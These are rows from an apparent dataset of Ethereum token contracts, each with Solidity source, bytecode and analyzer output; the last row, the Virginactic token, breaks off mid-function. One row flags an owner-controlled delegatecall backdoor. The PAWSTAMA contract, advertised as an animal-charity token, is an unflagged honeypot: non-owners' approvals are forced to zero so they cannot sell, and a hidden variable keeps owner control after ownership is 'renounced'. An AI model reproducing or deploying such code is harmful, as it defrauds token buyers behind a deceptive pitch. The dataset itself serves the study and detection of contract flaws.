uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x6080604052600436106100c25760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb1461045e578063aa2f5220146104c4578063d6d2b6ba1461059e578063dd62ed3e14610679576100c2565b806370a08231146103025780638cd8db8a1461036757806395d89b41146103ce576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc6106fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079c565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d261088e565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c39565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b506103516004803603602081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c3e565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b46004803603606081101561038a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610c56565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610cfa565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104aa6004803603604081101561047457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d98565b604051808215151515815260200191505060405180910390f35b610584600480360360408110156104da57600080fd5b81019080803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610dad565b604051808215151515815260200191505060405180910390f35b610677600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611016565b005b34801561068557600080fd5b506106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611127565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107945780601f1061076957610100808354040283529160200191610794565b820191906000526020600020905b81548152906001019060200180831161077757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f057600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082141561094d5760019050610c32565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a945781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ae057600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cb257600080fd5b60008311610cc1576000610cc9565b6012600a0a83025b60028190555060008211610cde576000610ce6565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d905780601f10610d6557610100808354040283529160200191610d90565b820191906000526020600020905b815481529060010190602001808311610d7357829003601f168201915b505050505081565b6000610da533848461093a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e0957600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e5d57600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b845181101561100a576000858281518110610ec757fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610f7757fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610fe657fe5b046040518082815260200191505060405180910390a3508080600101915050610eb0565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106110bb5780518252602082019150602081019050602083039250611098565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461111b576040519150601f19603f3d011682016040523d82523d6000602084013e611120565b606091505b5050505050565b600760205281600052604060002060205280600052604060002060009150915050548156fea265627a7a723158202136c4d197a9c4919c9c18f935954ceb12029e2b93f0570e26ff3329627ccb4864736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}} | 9,843 |
0xe8e9396892f9fe3801936ea9be1c44ce9420569c | /*
PAWSTAMA is a community-driven token on the Ethereum Mainnet.
We created $PAWS to help fight against animal cruelty and to awards our Holders.
All early holders will be rewarded with a FREE Metaverse Pet NFT!
Paws will be making donations to help fight animal cruelty.
Our team will make the donations then post them in the telegram to share with the community.
-Play To Earn PAWS Game
-Metaverse Pet NFT's
🌎Website: https://pawscrypto.org
🔹Telegram: https://t.me/pawscrypt
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract PAWSTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'PAWSTAMA ' ;
string private _symbol = 'PAWS ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d3f8c86b47332c1fc9e6732a79cf96a00dd7bb73b8cc977c41448ec999b8467f64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 9,844 |
0x7c7663BFa7123deD0F2B646F4aA6b78B0EaC9436 | /**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/*
Virginactic
$VRGN
Website: https://virginactic.io
Telegram: https://t.me/Virginactic
Twitter: https://twitter.com/virginactic
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Virginactic is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Virginactic";
string private constant _symbol = "VRGN";
uint8 private constant _decimals = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000 * 10**18;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (from == uniswapV2Pair || to == uniswapV2Pair) {
